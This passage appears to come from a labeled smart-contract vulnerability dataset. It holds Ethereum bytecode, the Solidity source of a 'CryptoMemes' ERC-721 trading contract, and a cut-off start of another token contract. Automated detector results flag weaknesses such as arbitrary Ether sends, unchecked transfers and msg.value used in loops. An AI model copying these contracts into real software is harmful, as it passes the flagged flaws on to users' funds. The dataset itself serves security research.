610a48918c908b908110610a2857fe5b95505b5050505b50600101610929565b509392505050565b600a5481565b6000610c05610bf08361090e565b610bf984611ad6565b9063ffffffff611ba116565b92915050565b60065460ff1681565b600b546001600160a01b03163314610c60576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b336108fc610c6c610cbf565b6040518115909202916000818181858888f19350505050158015610c94573d6000803e3d6000fd5b50565b6201518081565b6001600160a01b039081166000908152600860205260409020600201541690565b303190565b600b546001600160a01b031681565b33600081815260086020526040812091610cec9061090e565b90506000610cf933611ad6565b90508015610d1b5760006006840155610d18828263ffffffff611ba116565b91505b60008211610d68576040805162461bcd60e51b81526020600482015260156024820152745573657220686173206e6f206469766964656e647360581b604482015290519081900360640190fd5b303182811015610d8b57610d82838263ffffffff611c6516565b60068501559150815b4260018501556008840154610da6908463ffffffff611ba116565b6008850155604051339084156108fc029085906000818181858888f19350505050158015610dd8573d6000803e3d6000fd5b5060408051848152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250505050565b6001600160a01b031660009081526008602052604090206007015490565b606481565b6001600160a01b0381166000908152600860205260408120600181015415610eb0576001810154600090421115610ea7576000610e8962015180610a48856001015442611c6590919063ffffffff16565b90508015610ea557610ea281600a63ffffffff611b4116565b91505b505b91506109099050565b6000915050610909565b50919050565b607881565b60025460009081908190610ee66103e8610a4883607863ffffffff611b4116565b600354925092509250909192565b60025481565b600a544211610f50576040805162461bcd60e51b815260206004820152601c60248201527f636f6e747261637420646f6573206e6f74206c61756e63682079657400000000604482015290519081900360640190fd5b600454341015610f93576040805162461bcd60e51b815260206004820152600960248201526832b93937b91036b4b760b91b604482015290519081900360640190fd5b60048160ff1610610fda576040805162461bcd60e51b815260206004820152600c60248201526b24b73b30b634b210383630b760a11b604482015290519081900360640190fd5b6000610ff36103e8610a4834606463ffffffff611b4116565b600b546040519192506001600160a01b03169082156108fc029083906000818181858888f1935050505015801561102e573d6000803e3d6000fd5b5060408051828152905133917f2899dc8c12def1caa9accb64257cf2fd9f960f21bb27a560a757eae3c2ec43c1919081900360200190a233600090815260086020526040902060028101546001600160a01b03166111d1576001600160a01b038416600090815260086020526040902054158015906110b657506001600160a01b0384163314155b156110dd576002810180546001600160a01b0319166001600160a01b038616179055611102565b600b546002820180546001600160a01b0319166001600160a01b039092169190911790555b60028101546001600160a01b031660005b60038110156111ce576001600160a01b038216156111c157611171600160086000856001600160a01b03166001600160a01b03168152602001908152602001600020600301836003811061116357fe5b01549063ffffffff611ba116565b6001600160a01b03831660009081526008602052604090206003908101908390811061119957fe5b01556001600160a01b03918216600090815260086020526040902060020154909116906111c6565b6111ce565b600101611113565b50505b60028101546001600160a01b0316156113335760028101546001600160a01b031660005b6003811015611330576001600160a01b0382161561132357600061123f6103e8610a486000858154811061122557fe5b906000526020600020015434611b4190919063ffffffff16565b6001600160a01b03841660009081526008602052604090206006015490915061126e908263ffffffff611ba116565b6001600160a01b03841660009081526008602052604090206006810191909155600701546112a2908263ffffffff611ba116565b6001600160a01b038416600081815260086020908152604091829020600701939093558051848152905185933393927fd41f7e766eebcc7ff42b11ac8691bdf864db4afc0c55e71d629d54edce460d98929081900390910190a4506001600160a01b0391821660009081526008602052604090206002015490911690611328565b611330565b6001016111f5565b50505b8054611373574260018201556040805133815290517f9fd565cd14c3c391679eb0cad12a14dcf7534e9d3462bcb9b67a098a9bbbc24a9181900360200190a15b6040805160608101825260ff85811682523460208084018281524295850195865286546001808201895560008981529390932095516003909102909501805460ff191695909416949094178355925192820192909255915160029283015590546113dc91611ba1565b6002556040805160ff851681523460208201524281830152905133917f5998f12fe9332603ffeda0abbc2ea68418dfad46909149aa0f4fcbd1d8f7c620919081900360600190a260065460ff161561164f57805460021180159061144257508054600510155b1561164f5760008160000160008154811061145957fe5b9060005260206000209060030201600101549050600554811061164d5781546000908390600119810190811061148b57fe5b600091825260209091206001600390920201015483549091506002141561153257348114156114ef5760016000815481106114c257fe5b6000918252602080832090910154338352600982526040808420875460001901855290925291205561152d565b8034111561152d576001808154811061150457fe5b600091825260208083209091015433835260098252604080842087546000190185529092529120555b6115fd565b82546003141561156857348114156115525760016000815481106114c257fe5b8034111561152d57600160028154811061150457fe5b82546004141561159e57348114156115885760016000815481106114c257fe5b8034111561152d57600160038154811061150457fe5b8254600514156115fd57348114156115be57600160008154811061150457fe5b803411156115fd5760016004815481106115d457fe5b600091825260208083209091015433835260098252604080842087546000190185529092529120555b336000908152600960209081526040808320865460001901845290915290205461164890611639906103e890610a48903463ffffffff611b4116565b6003549063ffffffff611ba116565b600355505b505b50505050565b6000818154811061166257fe5b600091825260209091200154905081565b6000806000611681846116d2565b61168a85611af4565b61169386611b13565b9250925092509193909250565b6001600160a01b03811660009081526008602052604081206006810154600790910154610c059163ffffffff611c6516565b6000805b6001600160a01b038316600090815260086020526040902054811015610eba576001600160a01b0383166000908152600860205260409020805461174091908390811061171f57fe5b90600052602060002090600302016001015483611ba190919063ffffffff16565b91506001016116d6565b600b546001600160a01b03163314611796576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b6006805460ff1916911515919091179055565b600b546001600160a01b031633146117f5576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b604080516370a0823160e01b8152306004820152905183916001600160a01b0383169163a9059cbb91859184916370a08231916024808301926020929190829003018186803b15801561184757600080fd5b505afa15801561185b573d6000803e3d6000fd5b505050506040513d602081101561187157600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156118c257600080fd5b505af11580156118d6573d6000803e3d6000fd5b505050506040513d602081101561164d57600080fd5b600b546001600160a01b03163314611938576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b600491909155600555565b6001600160a01b031660009081526008602052604090205490565b60035481565b60008060078360ff168154811061197757fe5b906000526020600020906002020160000154915060078360ff168154811061199b57fe5b9060005260206000209060020201600101549050915091565b600a81565b6001600160a01b0382166000908152600860205260408120805482918291829182918190889081106119e757fe5b60009182526020909120600390910201546007805460ff90921697509087908110611a0e57fe5b9060005260206000209060020201600101549450806000018781548110611a3157fe5b9060005260206000209060030201600101549350806000018781548110611a5457fe5b9060005260206000209060030201600201549250611a92611a83620151806007846000018b8154811061094f57fe5b82600001898154811061099c57fe5b9150509295509295909350565b6001818154811061166257fe5b60055481565b6001600160a01b031660009081526008602052604090206001015490565b60045481565b6001600160a01b031660009081526008602052604090206006015490565b6001600160a01b03166000908152600860208190526040909120015490565b6001600160a01b03166000908152600860205260409020600581015460048201546003909201549091010190565b600082611b5057506000610c05565b82820282848281611b5d57fe5b0414611b9a5760405162461bcd60e51b8152600401808060200182810382526021815260200180611ce16021913960400191505060405180910390fd5b9392505050565b600082820183811015611b9a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000808211611c51576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b6000828481611c5c57fe5b04949350505050565b600082821115611cbc576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6040518060600160405280600390602082028038833950919291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723058206b49852ec4e92615b45314a9baf29462be38563e21958cfc7c838d0b31f5fde164736f6c634300050a0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,282 |
0x76eec498e1502993324f7da98f0c78380e071098
|
pragma solidity ^0.4.18; // solhint-disable-line
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6f0b0a1b0a2f0e17060002150a01410c00">[email protected]</a>> (https://github.com/dete)
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract MemeToken is ERC721 {
/*** EVENTS ***/
/// @dev The Birth event is fired whenever a new meme comes into existence.
event Birth(uint256 tokenId, uint256 metadata, string text, address owner);
/// @dev The TokenSold event is fired whenever a meme is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address newOwner, uint256 metadata, string text);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/*** CONSTANTS ***/
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "CryptoMemes"; // solhint-disable-line
string public constant SYMBOL = "CM"; // solhint-disable-line
uint256 private startingPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 50000;
uint256 private firstStepLimit = 0.05 ether;
uint256 private secondStepLimit = 0.5 ether;
/*** STORAGE ***/
/// @dev A mapping from meme IDs to the address that owns them. All memes have
/// some valid owner address.
mapping (uint256 => address) public memeIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from memeIDs to an address that has been approved to call
/// transferFrom(). Each meme can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public memeIndexToApproved;
// @dev A mapping from memeIDs to the price of the token.
mapping (uint256 => uint256) private memeIndexToPrice;
// The address of the account that can execute special actions.
// Not related to Dogecoin, just a normal Doge.
address public dogeAddress;
// Robot9000 address for automation.
// Not related to r9k, just a normal robot.
address public r9kAddress;
uint256 public promoCreatedCount;
/*** DATATYPES ***/
struct Meme {
uint256 metadata;
string text;
}
// All your memes are belong to us.
Meme[] private memes;
/*** ACCESS MODIFIERS ***/
/// @dev Access modifier for Doge functionality
modifier onlyDoge() {
require(msg.sender == dogeAddress);
_;
}
/// @dev Access modifier for Robot functionality
modifier onlyr9k() {
require(msg.sender == r9kAddress);
_;
}
/// @dev Access modifier for Doge and Robot functionality
modifier onlyDogeAndr9k() {
require(
msg.sender == dogeAddress ||
msg.sender == r9kAddress
);
_;
}
/*** CONSTRUCTOR ***/
function MemeToken() public {
dogeAddress = msg.sender;
r9kAddress = msg.sender;
}
/*** PUBLIC FUNCTIONS ***/
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
) public
{
// Caller must own token.
require(_owns(msg.sender, _tokenId));
memeIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
/// @dev Creates a new promo meme with the given metadata and text, with given _price and
/// assignes it to an address.
function createPromoMeme(address _owner, uint256 _metadata, string _text, uint256 _price) public onlyDogeAndr9k {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address memeOwner = _owner;
if (memeOwner == address(0)) {
memeOwner = dogeAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
_createMeme(_metadata, _text, memeOwner, _price);
}
/// @dev Creates a new user-generated meme with the given metadata and text, with given _price and
/// assignes it to an address.
function createUserMeme(address _owner, uint256 _metadata, string _text, uint256 _price) public onlyDogeAndr9k {
address memeOwner = _owner;
if (memeOwner == address(0)) {
memeOwner = dogeAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
_createMeme(_metadata, _text, memeOwner, _price);
}
/// @dev Creates a new meme with the given name.
function createContractMeme(uint256 _metadata, string _text) public onlyDogeAndr9k {
_createMeme(_metadata, _text, address(this), startingPrice);
}
/// @notice Returns all the relevant information about a specific meme.
/// @param _tokenId The tokenId of the meme of interest.
function getMeme(uint256 _tokenId) public view returns (
uint256 metadata,
string text,
uint256 sellingPrice,
address owner
) {
Meme storage meme = memes[_tokenId];
metadata = meme.metadata;
text = meme.text;
sellingPrice = memeIndexToPrice[_tokenId];
owner = memeIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = memeIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyDoge {
_payout(_to);
}
// Allows someone to send ether and obtain the meme
function purchase(uint256 _tokenId) public payable {
address oldOwner = memeIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = memeIndexToPrice[_tokenId];
// Making sure meme owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 97), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
// Update prices
if (sellingPrice < firstStepLimit) {
// first stage
memeIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 100);
} else if (sellingPrice < secondStepLimit) {
// second stage
memeIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 150), 100);
} else {
// third stage
memeIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 125), 100);
}
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment); //(1 - 0.05)
}
TokenSold(_tokenId, sellingPrice, memeIndexToPrice[_tokenId], oldOwner, newOwner, memes[_tokenId].metadata, memes[_tokenId].text);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return memeIndexToPrice[_tokenId];
}
/// @dev Assigns a new address to act as Doge. Only available to the current Doge.
/// @param _newDoge The address of the new Doge
function setDoge(address _newDoge) public onlyDoge {
require(_newDoge != address(0));
dogeAddress = _newDoge;
}
/// @dev Assigns a new address to act as Robot. Only available to the current Doge.
/// @param _newRobot The address of the new Robot
function setRobot(address _newRobot) public onlyDoge {
require(_newRobot != address(0));
r9kAddress = _newRobot;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a meme
/// @param _tokenId The ID of the meme that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = memeIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose meme tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire memes array looking for memes belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 memeCount = totalSupply();
uint256 resultIndex = 0;
uint256 memeId;
for (memeId = 0; memeId <= memeCount; memeId++) {
if (memeIndexToOwner[memeId] == _owner) {
result[resultIndex] = memeId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return memes.length;
}
/// Owner initates the transfer of the meme to another account
/// @param _to The address for the meme to be transferred to.
/// @param _tokenId The ID of the meme that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
) public
{
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public
{
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/*** PRIVATE FUNCTIONS ***/
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return memeIndexToApproved[_tokenId] == _to;
}
/// For creating a new meme
function _createMeme(uint256 _metadata, string _text, address _owner, uint256 _price) private {
Meme memory _meme = Meme({
metadata: _metadata,
text: _text
});
uint256 newMemeId = memes.push(_meme) - 1;
// It's probably never going to happen, 2^64 memes are A LOT, but
// let's just be 100% sure we never let this happen.
require(newMemeId == uint256(uint64(newMemeId)));
Birth(newMemeId, _metadata, _text, _owner);
memeIndexToPrice[newMemeId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newMemeId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == memeIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
dogeAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
/// @dev Assigns ownership of a specific meme to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of memes is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
memeIndexToOwner[_tokenId] = _to;
// When creating new memes _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete memeIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x60606040526004361061015e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305e45546811461016357806306fdde0314610188578063095ea7b3146102125780630b7e9c44146102365780631051db341461025557806318160ddd1461027c57806323b872dd1461028f57806327f93e59146102b75780633dea6b9a1461030d5780633f7eabc9146103b95780636352211e146103d857806370a082311461040a5780638462151c1461042957806395d89b411461049b578063a3f4df7e146104ae578063a7071d01146104c1578063a894878d146104d7578063a9059cbb1461053e578063b2e6ceeb14610560578063b36eaad814610576578063b9186d7d146105dd578063bd025a79146105f3578063c9ba0d4d14610612578063dd00182b14610625578063deffbb2014610638578063efef39a11461064e578063f76f8d7814610659575b600080fd5b341561016e57600080fd5b61017661066c565b60405190815260200160405180910390f35b341561019357600080fd5b61019b610672565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d75780820151838201526020016101bf565b50505050905090810190601f1680156102045780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021d57600080fd5b610234600160a060020a03600435166024356106b4565b005b341561024157600080fd5b610234600160a060020a0360043516610740565b341561026057600080fd5b610268610767565b604051901515815260200160405180910390f35b341561028757600080fd5b61017661076c565b341561029a57600080fd5b610234600160a060020a0360043581169060243516604435610772565b34156102c257600080fd5b610234600480359060446024803590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506107c095505050505050565b341561031857600080fd5b610323600435610808565b60405184815260408101839052600160a060020a038216606082015260806020820181815290820185818151815260200191508051906020019080838360005b8381101561037b578082015183820152602001610363565b50505050905090810190601f1680156103a85780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34156103c457600080fd5b610234600160a060020a036004351661090b565b34156103e357600080fd5b6103ee60043561096a565b604051600160a060020a03909116815260200160405180910390f35b341561041557600080fd5b610176600160a060020a0360043516610993565b341561043457600080fd5b610448600160a060020a03600435166109ae565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561048757808201518382015260200161046f565b505050509050019250505060405180910390f35b34156104a657600080fd5b61019b610a8f565b34156104b957600080fd5b61019b610ad0565b34156104cc57600080fd5b6103ee600435610b07565b34156104e257600080fd5b61023460048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496505093359350610b2292505050565b341561054957600080fd5b610234600160a060020a0360043516602435610bb6565b341561056b57600080fd5b610234600435610bea565b341561058157600080fd5b61023460048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496505093359350610c3892505050565b34156105e857600080fd5b610176600435610cab565b34156105fe57600080fd5b610234600160a060020a0360043516610cbd565b341561061d57600080fd5b6103ee610d1c565b341561063057600080fd5b6103ee610d2b565b341561064357600080fd5b6103ee600435610d3a565b610234600435610d55565b341561066457600080fd5b61019b610fff565b60095481565b61067a6113b3565b60408051908101604052600b81527f43727970746f4d656d6573000000000000000000000000000000000000000000602082015290505b90565b6106be3382611036565b15156106c957600080fd5b60008181526005602052604090819020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038581169182179092559133909116907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35050565b60075433600160a060020a0390811691161461075b57600080fd5b61076481611056565b50565b600190565b600a5490565b61077c8382611036565b151561078757600080fd5b61079182826110e1565b151561079c57600080fd5b6107a582611101565b15156107b057600080fd5b6107bb83838361110f565b505050565b60075433600160a060020a03908116911614806107eb575060085433600160a060020a039081169116145b15156107f657600080fd5b6108048282306000546111ff565b5050565b60006108126113b3565b6000806000600a8681548110151561082657fe5b9060005260206000209060020201905080600001549450806001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108d55780601f106108aa576101008083540402835291602001916108d5565b820191906000526020600020905b8154815290600101906020018083116108b857829003601f168201915b50505060009889525050600660209081526040808920546003909252909720549597909695600160a060020a0316945092505050565b60075433600160a060020a0390811691161461092657600080fd5b600160a060020a038116151561093b57600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600081815260036020526040902054600160a060020a031680151561098e57600080fd5b919050565b600160a060020a031660009081526004602052604090205490565b6109b66113b3565b60006109c06113b3565b60008060006109ce87610993565b94508415156109fe5760006040518059106109e65750595b90808252806020026020018201604052509550610a85565b84604051805910610a0c5750595b90808252806020026020018201604052509350610a2761076c565b925060009150600090505b828111610a8157600081815260036020526040902054600160a060020a0388811691161415610a795780848381518110610a6857fe5b602090810290910101526001909101905b600101610a32565b8395505b5050505050919050565b610a976113b3565b60408051908101604052600281527f434d0000000000000000000000000000000000000000000000000000000000006020820152905090565b60408051908101604052600b81527f43727970746f4d656d6573000000000000000000000000000000000000000000602082015281565b600560205260009081526040902054600160a060020a031681565b60075460009033600160a060020a0390811691161480610b50575060085433600160a060020a039081169116145b1515610b5b57600080fd5b60095461c3509010610b6c57600080fd5b5083600160a060020a0381161515610b8c5750600754600160a060020a03165b60008211610b9a5760005491505b600980546001019055610baf848483856111ff565b5050505050565b610bc03382611036565b1515610bcb57600080fd5b610bd482611101565b1515610bdf57600080fd5b61080433838361110f565b6000818152600360205260409020543390600160a060020a0316610c0d82611101565b1515610c1857600080fd5b610c2282846110e1565b1515610c2d57600080fd5b6107bb81838561110f565b60075460009033600160a060020a0390811691161480610c66575060085433600160a060020a039081169116145b1515610c7157600080fd5b5083600160a060020a0381161515610c915750600754600160a060020a03165b60008211610c9f5760005491505b610baf848483856111ff565b60009081526006602052604090205490565b60075433600160a060020a03908116911614610cd857600080fd5b600160a060020a0381161515610ced57600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600854600160a060020a031681565b600754600160a060020a031681565b600360205260009081526040902054600160a060020a031681565b6000818152600360209081526040808320546006909252822054600160a060020a0391821692339281908416851415610d8d57600080fd5b610d9684611101565b1515610da157600080fd5b3483901015610daf57600080fd5b610dc4610dbd846061611354565b606461138a565b9150610dd034846113a1565b9050600154831015610dfe57610dea610dbd8460c8611354565b600087815260066020526040902055610e34565b600254831015610e1657610dea610dbd846096611354565b610e24610dbd84607d611354565b6000878152600660205260409020555b610e3f85858861110f565b30600160a060020a031685600160a060020a0316141515610e8b57600160a060020a03851682156108fc0283604051600060405180830381858888f193505050501515610e8b57600080fd5b7f1891da037ba6925d156087db0f0bad9b626c5541d75dbbab8f75262ebe5a8b158684600660008a8152602001908152602001600020548888600a8c815481101515610ed357fe5b906000526020600020906002020160000154600a8d815481101515610ef457fe5b90600052602060002090600202016001016040518781526020810187905260408101869052600160a060020a0385811660608301528416608082015260a0810183905260e060c08201818152835460026001821615610100908102600019019092160492840183905290919083019084908015610fb25780601f10610f8757610100808354040283529160200191610fb2565b820191906000526020600020905b815481529060010190602001808311610f9557829003601f168201915b50509850505050505050505060405180910390a1600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610ff757600080fd5b505050505050565b60408051908101604052600281527f434d000000000000000000000000000000000000000000000000000000000000602082015281565b600090815260036020526040902054600160a060020a0390811691161490565b600160a060020a03811615156110a457600754600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561109f57600080fd5b610764565b80600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561076457600080fd5b600090815260056020526040902054600160a060020a0391821691161490565b600160a060020a0316151590565b600160a060020a0380831660008181526004602090815260408083208054600101905585835260039091529020805473ffffffffffffffffffffffffffffffffffffffff191690911790558316156111aa57600160a060020a0383166000908152600460209081526040808320805460001901905583835260059091529020805473ffffffffffffffffffffffffffffffffffffffff191690555b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838383604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a1505050565b6112076113c5565b60006040805190810160405286815260208101869052600a805491935060019180830161123483826113e4565b6000928352602090922085916002020181518155602082015181600101908051611262929160200190611410565b50505003905067ffffffffffffffff8116811461127e57600080fd5b7f0f55940768f00e3d9212db6f6d2b54f7208e4e3440804ea3ffa0e6f6d4be6ee18187878760405184815260208101849052600160a060020a038216606082015260806040820181815290820184818151815260200191508051906020019080838360005b838110156112fb5780820151838201526020016112e3565b50505050905090810190601f1680156113285780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a16000818152600660205260408120849055610ff790858361110f565b6000808315156113675760009150611383565b5082820282848281151561137757fe5b041461137f57fe5b8091505b5092915050565b600080828481151561139857fe5b04949350505050565b6000828211156113ad57fe5b50900390565b60206040519081016040526000815290565b6040805190810160405280600081526020016113df6113b3565b905290565b8154818355818115116107bb576002028160020283600052602060002091820191016107bb919061148e565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061145157805160ff191683800117855561147e565b8280016001018555821561147e579182015b8281111561147e578251825591602001919060010190611463565b5061148a9291506114b7565b5090565b6106b191905b8082111561148a5760008082556114ae60018301826114d1565b50600201611494565b6106b191905b8082111561148a57600081556001016114bd565b50805460018160011615610100020316600290046000825580601f106114f75750610764565b601f01602090049060005260206000209081019061076491906114b75600a165627a7a72305820d5976ea74714b6de95300a28fe60cc4fb93f9df2b6d5f8931bc77291b589ff860029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,283 |
0xA236054ad14383CC7829815C7d718a8B3ec384CB
|
/*
https://t.me/thexofficial
https://thex.world
https://twitter.com/TheXToken
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
